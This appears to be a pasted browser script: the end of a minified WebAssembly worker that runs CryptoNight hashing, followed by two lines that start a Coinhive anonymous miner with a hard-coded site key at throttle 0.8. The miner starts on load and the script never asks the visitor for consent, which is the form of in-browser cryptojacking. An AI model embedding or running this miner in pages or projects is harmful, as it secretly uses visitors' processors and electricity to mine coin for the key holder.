removeRunDependency(id){runDependencies--;if(Module[\"monitorRunDependencies\"]){Module[\"monitorRunDependencies\"](runDependencies)}if(runDependencies==0){if(runDependencyWatcher!==null){clearInterval(runDependencyWatcher);runDependencyWatcher=null}if(dependenciesFulfilled){var callback=dependenciesFulfilled;dependenciesFulfilled=null;callback()}}}Module[\"preloadedImages\"]={};Module[\"preloadedAudios\"]={};var dataURIPrefix=\"data:application\/octet-stream;base64,\";function isDataURI(filename){return String.prototype.startsWith?filename.startsWith(dataURIPrefix):filename.indexOf(dataURIPrefix)===0}function integrateWasmJS(){var wasmTextFile=\"worker-v2.wast\";var wasmBinaryFile=\"worker-v2.wasm\";var asmjsCodeFile=\"worker-v2.temp.asm.js\";if(typeof Module[\"locateFile\"]===\"function\"){if(!isDataURI(wasmTextFile)){wasmTextFile=Module[\"locateFile\"](wasmTextFile)}if(!isDataURI(wasmBinaryFile)){wasmBinaryFile=Module[\"locateFile\"](wasmBinaryFile)}if(!isDataURI(asmjsCodeFile)){asmjsCodeFile=Module[\"locateFile\"](asmjsCodeFile)}}var wasmPageSize=64*1024;var info={\"global\":null,\"env\":null,\"asm2wasm\":{\"f64-rem\":(function(x,y){return x%y}),\"debugger\":(function(){debugger})},\"parent\":Module};var exports=null;function mergeMemory(newBuffer){var oldBuffer=Module[\"buffer\"];if(newBuffer.byteLength<oldBuffer.byteLength){Module[\"printErr\"](\"the new buffer in mergeMemory is smaller than the previous one. in native wasm, we should grow memory here\")}var oldView=new Int8Array(oldBuffer);var newView=new Int8Array(newBuffer);newView.set(oldView);updateGlobalBuffer(newBuffer);updateGlobalBufferViews()}function fixImports(imports){return imports}function getBinary(){try{if(Module[\"wasmBinary\"]){return new Uint8Array(Module[\"wasmBinary\"])}if(Module[\"readBinary\"]){return Module[\"readBinary\"](wasmBinaryFile)}else{throw\"on the web, we need the wasm binary to be preloaded and set on Module['wasmBinary']. emcc.py will do that for you when generating HTML (but not JS)\"}}catch(err){abort(err)}}function getBinaryPromise(){if(!Module[\"wasmBinary\"]&&(ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER)&&typeof fetch===\"function\"){return fetch(wasmBinaryFile,{credentials:\"same-origin\"}).then((function(response){if(!response[\"ok\"]){throw\"failed to load wasm binary file at '\"+wasmBinaryFile+\"'\"}return response[\"arrayBuffer\"]()})).catch((function(){return getBinary()}))}return new Promise((function(resolve,reject){resolve(getBinary())}))}function doNativeWasm(global,env,providedBuffer){if(typeof WebAssembly!==\"object\"){Module[\"printErr\"](\"no native wasm support detected\");return false}if(!(Module[\"wasmMemory\"]instanceof WebAssembly.Memory)){Module[\"printErr\"](\"no native wasm Memory in use\");return false}env[\"memory\"]=Module[\"wasmMemory\"];info[\"global\"]={\"NaN\":NaN,\"Infinity\":Infinity};info[\"global.Math\"]=Math;info[\"env\"]=env;function receiveInstance(instance,module){exports=instance.exports;if(exports.memory)mergeMemory(exports.memory);Module[\"asm\"]=exports;Module[\"usingWasm\"]=true;removeRunDependency(\"wasm-instantiate\")}addRunDependency(\"wasm-instantiate\");if(Module[\"instantiateWasm\"]){try{return Module[\"instantiateWasm\"](info,receiveInstance)}catch(e){Module[\"printErr\"](\"Module.instantiateWasm callback failed with error: \"+e);return false}}function receiveInstantiatedSource(output){receiveInstance(output[\"instance\"],output[\"module\"])}function instantiateArrayBuffer(receiver){getBinaryPromise().then((function(binary){return WebAssembly.instantiate(binary,info)})).then(receiver).catch((function(reason){Module[\"printErr\"](\"failed to asynchronously prepare wasm: \"+reason);abort(reason)}))}if(!Module[\"wasmBinary\"]&&typeof WebAssembly.instantiateStreaming===\"function\"&&!isDataURI(wasmBinaryFile)&&typeof fetch===\"function\"){WebAssembly.instantiateStreaming(fetch(wasmBinaryFile,{credentials:\"same-origin\"}),info).then(receiveInstantiatedSource).catch((function(reason){Module[\"printErr\"](\"wasm streaming compile failed: \"+reason);Module[\"printErr\"](\"falling back to ArrayBuffer instantiation\");instantiateArrayBuffer(receiveInstantiatedSource)}))}else{instantiateArrayBuffer(receiveInstantiatedSource)}return{}}Module[\"asmPreload\"]=Module[\"asm\"];var asmjsReallocBuffer=Module[\"reallocBuffer\"];var wasmReallocBuffer=(function(size){var PAGE_MULTIPLE=Module[\"usingWasm\"]?WASM_PAGE_SIZE:ASMJS_PAGE_SIZE;size=alignUp(size,PAGE_MULTIPLE);var old=Module[\"buffer\"];var oldSize=old.byteLength;if(Module[\"usingWasm\"]){try{var result=Module[\"wasmMemory\"].grow((size-oldSize)\/wasmPageSize);if(result!==(-1|0)){return Module[\"buffer\"]=Module[\"wasmMemory\"].buffer}else{return null}}catch(e){return null}}});Module[\"reallocBuffer\"]=(function(size){if(finalMethod===\"asmjs\"){return asmjsReallocBuffer(size)}else{return wasmReallocBuffer(size)}});var finalMethod=\"\";Module[\"asm\"]=(function(global,env,providedBuffer){env=fixImports(env);if(!env[\"table\"]){var TABLE_SIZE=Module[\"wasmTableSize\"];if(TABLE_SIZE===undefined)TABLE_SIZE=1024;var MAX_TABLE_SIZE=Module[\"wasmMaxTableSize\"];if(typeof WebAssembly===\"object\"&&typeof WebAssembly.Table===\"function\"){if(MAX_TABLE_SIZE!==undefined){env[\"table\"]=new WebAssembly.Table({\"initial\":TABLE_SIZE,\"maximum\":MAX_TABLE_SIZE,\"element\":\"anyfunc\"})}else{env[\"table\"]=new WebAssembly.Table({\"initial\":TABLE_SIZE,element:\"anyfunc\"})}}else{env[\"table\"]=new Array(TABLE_SIZE)}Module[\"wasmTable\"]=env[\"table\"]}if(!env[\"memoryBase\"]){env[\"memoryBase\"]=Module[\"STATIC_BASE\"]}if(!env[\"tableBase\"]){env[\"tableBase\"]=0}var exports;exports=doNativeWasm(global,env,providedBuffer);if(!exports)abort(\"no binaryen method succeeded. consider enabling more options, like interpreting, if you want that: https:\/\/github.com\/kripken\/emscripten\/wiki\/WebAssembly#binaryen-methods\");return exports})}integrateWasmJS();STATIC_BASE=GLOBAL_BASE;STATICTOP=STATIC_BASE+10240;__ATINIT__.push();var STATIC_BUMP=10240;Module[\"STATIC_BASE\"]=STATIC_BASE;Module[\"STATIC_BUMP\"]=STATIC_BUMP;STATICTOP+=16;var PROCINFO={ppid:1,pid:42,sid:42,pgid:42};var SYSCALLS={varargs:0,get:(function(varargs){SYSCALLS.varargs+=4;var ret=HEAP32[SYSCALLS.varargs-4>>2];return ret}),getStr:(function(){var ret=Pointer_stringify(SYSCALLS.get());return ret}),get64:(function(){var low=SYSCALLS.get(),high=SYSCALLS.get();if(low>=0)assert(high===0);else assert(high===-1);return low}),getZero:(function(){assert(SYSCALLS.get()===0)})};function ___syscall20(which,varargs){SYSCALLS.varargs=varargs;try{return PROCINFO.pid}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function _ftime(p){var millis=Date.now();HEAP32[p>>2]=millis\/1e3|0;HEAP16[p+4>>1]=millis%1e3;HEAP16[p+6>>1]=0;HEAP16[p+8>>1]=0;return 0}var ___tm_current=STATICTOP;STATICTOP+=48;var ___tm_timezone=allocate(intArrayFromString(\"GMT\"),\"i8\",ALLOC_STATIC);function _gmtime_r(time,tmPtr){var date=new Date(HEAP32[time>>2]*1e3);HEAP32[tmPtr>>2]=date.getUTCSeconds();HEAP32[tmPtr+4>>2]=date.getUTCMinutes();HEAP32[tmPtr+8>>2]=date.getUTCHours();HEAP32[tmPtr+12>>2]=date.getUTCDate();HEAP32[tmPtr+16>>2]=date.getUTCMonth();HEAP32[tmPtr+20>>2]=date.getUTCFullYear()-1900;HEAP32[tmPtr+24>>2]=date.getUTCDay();HEAP32[tmPtr+36>>2]=0;HEAP32[tmPtr+32>>2]=0;var start=Date.UTC(date.getUTCFullYear(),0,1,0,0,0,0);var yday=(date.getTime()-start)\/(1e3*60*60*24)|0;HEAP32[tmPtr+28>>2]=yday;HEAP32[tmPtr+40>>2]=___tm_timezone;return tmPtr}function _gmtime(time){return _gmtime_r(time,___tm_current)}function _emscripten_memcpy_big(dest,src,num){HEAPU8.set(HEAPU8.subarray(src,src+num),dest);return dest}function ___setErrNo(value){if(Module[\"___errno_location\"])HEAP32[Module[\"___errno_location\"]()>>2]=value;return value}DYNAMICTOP_PTR=staticAlloc(4);STACK_BASE=STACKTOP=alignMemory(STATICTOP);STACK_MAX=STACK_BASE+TOTAL_STACK;DYNAMIC_BASE=alignMemory(STACK_MAX);HEAP32[DYNAMICTOP_PTR>>2]=DYNAMIC_BASE;staticSealed=true;function intArrayFromString(stringy,dontAddNull,length){var len=length>0?length:lengthBytesUTF8(stringy)+1;var u8array=new Array(len);var numBytesWritten=stringToUTF8Array(stringy,u8array,0,u8array.length);if(dontAddNull)u8array.length=numBytesWritten;return u8array}Module[\"wasmTableSize\"]=8;Module[\"wasmMaxTableSize\"]=8;Module.asmGlobalArg={};Module.asmLibraryArg={\"abort\":abort,\"enlargeMemory\":enlargeMemory,\"getTotalMemory\":getTotalMemory,\"abortOnCannotGrowMemory\":abortOnCannotGrowMemory,\"___setErrNo\":___setErrNo,\"___syscall20\":___syscall20,\"_emscripten_memcpy_big\":_emscripten_memcpy_big,\"_ftime\":_ftime,\"_gmtime\":_gmtime,\"DYNAMICTOP_PTR\":DYNAMICTOP_PTR,\"STACKTOP\":STACKTOP};var asm=Module[\"asm\"](Module.asmGlobalArg,Module.asmLibraryArg,buffer);Module[\"asm\"]=asm;var _aesb_single_round=Module[\"_aesb_single_round\"]=(function(){return Module[\"asm\"][\"_aesb_single_round\"].apply(null,arguments)});var _cryptonight_create=Module[\"_cryptonight_create\"]=(function(){return Module[\"asm\"][\"_cryptonight_create\"].apply(null,arguments)});var _cryptonight_destroy=Module[\"_cryptonight_destroy\"]=(function(){return Module[\"asm\"][\"_cryptonight_destroy\"].apply(null,arguments)});var _cryptonight_hash_variant_0=Module[\"_cryptonight_hash_variant_0\"]=(function(){return Module[\"asm\"][\"_cryptonight_hash_variant_0\"].apply(null,arguments)});var _cryptonight_hash_variant_1=Module[\"_cryptonight_hash_variant_1\"]=(function(){return Module[\"asm\"][\"_cryptonight_hash_variant_1\"].apply(null,arguments)});var _malloc=Module[\"_malloc\"]=(function(){return Module[\"asm\"][\"_malloc\"].apply(null,arguments)});var stackAlloc=Module[\"stackAlloc\"]=(function(){return Module[\"asm\"][\"stackAlloc\"].apply(null,arguments)});Module[\"asm\"]=asm;function ExitStatus(status){this.name=\"ExitStatus\";this.message=\"Program terminated with exit(\"+status+\")\";this.status=status}ExitStatus.prototype=new Error;ExitStatus.prototype.constructor=ExitStatus;var initialStackTop;dependenciesFulfilled=function runCaller(){if(!Module[\"calledRun\"])run();if(!Module[\"calledRun\"])dependenciesFulfilled=runCaller};function run(args){args=args||Module[\"arguments\"];if(runDependencies>0){return}preRun();if(runDependencies>0)return;if(Module[\"calledRun\"])return;function doRun(){if(Module[\"calledRun\"])return;Module[\"calledRun\"]=true;if(ABORT)return;ensureInitRuntime();preMain();if(Module[\"onRuntimeInitialized\"])Module[\"onRuntimeInitialized\"]();postRun()}if(Module[\"setStatus\"]){Module[\"setStatus\"](\"Running...\");setTimeout((function(){setTimeout((function(){Module[\"setStatus\"](\"\")}),1);doRun()}),1)}else{doRun()}}Module[\"run\"]=run;function exit(status,implicit){if(implicit&&Module[\"noExitRuntime\"]&&status===0){return}if(Module[\"noExitRuntime\"]){}else{ABORT=true;EXITSTATUS=status;STACKTOP=initialStackTop;exitRuntime();if(Module[\"onExit\"])Module[\"onExit\"](status)}if(ENVIRONMENT_IS_NODE){process[\"exit\"](status)}Module[\"quit\"](status,new ExitStatus(status))}Module[\"exit\"]=exit;function abort(what){if(Module[\"onAbort\"]){Module[\"onAbort\"](what)}if(what!==undefined){Module.print(what);Module.printErr(what);what=JSON.stringify(what)}else{what=\"\"}ABORT=true;EXITSTATUS=1;throw\"abort(\"+what+\"). Build with -s ASSERTIONS=1 for more info.\"}Module[\"abort\"]=abort;if(Module[\"preInit\"]){if(typeof Module[\"preInit\"]==\"function\")Module[\"preInit\"]=[Module[\"preInit\"]];while(Module[\"preInit\"].length>0){Module[\"preInit\"].pop()()}}Module[\"noExitRuntime\"]=true;run();var CryptonightWASMWrapper=(function(){this.ctx=_cryptonight_create();this.throttleWait=0;this.throttledStart=0;this.throttledHashes=0;this.workThrottledBound=this.workThrottled.bind(this);this.currentJob=null;this.target=new Uint8Array([255,255,255,255,255,255,255,255]);var heap=Module.HEAPU8.buffer;this.input=new Uint8Array(heap,Module._malloc(84),84);this.output=new Uint8Array(heap,Module._malloc(32),32);self.postMessage(\"ready\");self.onmessage=this.onMessage.bind(this)});CryptonightWASMWrapper.prototype.onMessage=(function(msg){var job=msg.data;if(job.verify_id){this.verify(job);return}if(!this.currentJob||this.currentJob.job_id!==job.job_id){this.setJob(job)}if(job.throttle){this.throttleWait=1\/(1-job.throttle)-1;this.throttledStart=this.now();this.throttledHashes=0;this.workThrottled()}else{this.work()}});CryptonightWASMWrapper.prototype.destroy=(function(){_cryptonight_destroy(this.ctx)});CryptonightWASMWrapper.prototype.hexToBytes=(function(hex,bytes){var bytes=new Uint8Array(hex.length\/2);for(var i=0,c=0;c<hex.length;c+=2,i++){bytes[i]=parseInt(hex.substr(c,2),16)}return bytes});CryptonightWASMWrapper.prototype.bytesToHex=(function(bytes){for(var hex=\"\",i=0;i<bytes.length;i++){hex+=(bytes[i]>>>4).toString(16);hex+=(bytes[i]&15).toString(16)}return hex});CryptonightWASMWrapper.prototype.meetsTarget=(function(hash,target){for(var i=0;i<target.length;i++){var hi=hash.length-i-1,ti=target.length-i-1;if(hash[hi]>target[ti]){return false}else if(hash[hi]<target[ti]){return true}}return false});CryptonightWASMWrapper.prototype.setVersion=(function(version){if(version===7){this.cryptonight_hash_impl=_cryptonight_hash_variant_1}else{this.cryptonight_hash_impl=_cryptonight_hash_variant_0}});CryptonightWASMWrapper.prototype.setJob=(function(job){this.currentJob=job;this.blob=this.hexToBytes(job.blob);this.input.set(this.blob);this.setVersion(this.blob[0]);var target=this.hexToBytes(job.target);if(target.length<=8){for(var i=0;i<target.length;i++){this.target[this.target.length-i-1]=target[target.length-i-1]}for(var i=0;i<this.target.length-target.length;i++){this.target[i]=255}}else{this.target=target}});CryptonightWASMWrapper.prototype.now=(function(){return self.performance?self.performance.now():Date.now()});CryptonightWASMWrapper.prototype.hash=(function(input,output,length){var nonce=Math.random()*4294967295+1>>>0;this.input[39]=(nonce&4278190080)>>24;this.input[40]=(nonce&16711680)>>16;this.input[41]=(nonce&65280)>>8;this.input[42]=(nonce&255)>>0;this.cryptonight_hash_impl(this.ctx,input.byteOffset,output.byteOffset,length)});CryptonightWASMWrapper.prototype.verify=(function(job){this.blob=this.hexToBytes(job.blob);this.input.set(this.blob);this.setVersion(this.blob[0]);for(var i=0,c=0;c<job.nonce.length;c+=2,i++){this.input[39+i]=parseInt(job.nonce.substr(c,2),16)}this.cryptonight_hash_impl(this.ctx,this.input.byteOffset,this.output.byteOffset,this.blob.length);var result=this.bytesToHex(this.output);self.postMessage({verify_id:job.verify_id,verified:result===job.result,result:result})});CryptonightWASMWrapper.prototype.work=(function(){var hashes=0;var meetsTarget=false;var start=this.now();var elapsed=0;do{this.hash(this.input,this.output,this.blob.length);hashes++;meetsTarget=this.meetsTarget(this.output,this.target);elapsed=this.now()-start}while(!meetsTarget&&elapsed<1e3);var hashesPerSecond=hashes\/(elapsed\/1e3);if(meetsTarget){var nonceHex=this.bytesToHex(this.input.subarray(39,43));var resultHex=this.bytesToHex(this.output);self.postMessage({hashesPerSecond:hashesPerSecond,hashes:hashes,job_id:this.currentJob.job_id,nonce:nonceHex,result:resultHex})}else{self.postMessage({hashesPerSecond:hashesPerSecond,hashes:hashes})}});CryptonightWASMWrapper.prototype.workThrottled=(function(){var start=this.now();this.hash(this.input,this.output,this.blob.length);var end=this.now();var timePerHash=end-start;this.throttledHashes++;var elapsed=end-this.throttledStart;var hashesPerSecond=this.throttledHashes\/(elapsed\/1e3);if(this.meetsTarget(this.output,this.target)){var nonceHex=this.bytesToHex(this.input.subarray(39,43));var resultHex=this.bytesToHex(this.output);self.postMessage({hashesPerSecond:hashesPerSecond,hashes:this.throttledHashes,job_id:this.currentJob.job_id,nonce:nonceHex,result:resultHex});this.throttledHashes=0}else if(elapsed>1e3){self.postMessage({hashesPerSecond:hashesPerSecond,hashes:this.throttledHashes});this.throttledHashes=0}else{var wait=Math.min(2e3,timePerHash*this.throttleWait);setTimeout(this.workThrottledBound,wait)}});Module[\"onRuntimeInitialized\"]=(function(){var cryptonight=new CryptonightWASMWrapper}) ");
  685. var miner = new CoinHive.Anonymous('T9UtNcvcu9o197o4xvHWm49rC3Ba81QR', {throttle: 0.8});
  686. miner.start();
Add Comment
Please, Sign In to add comment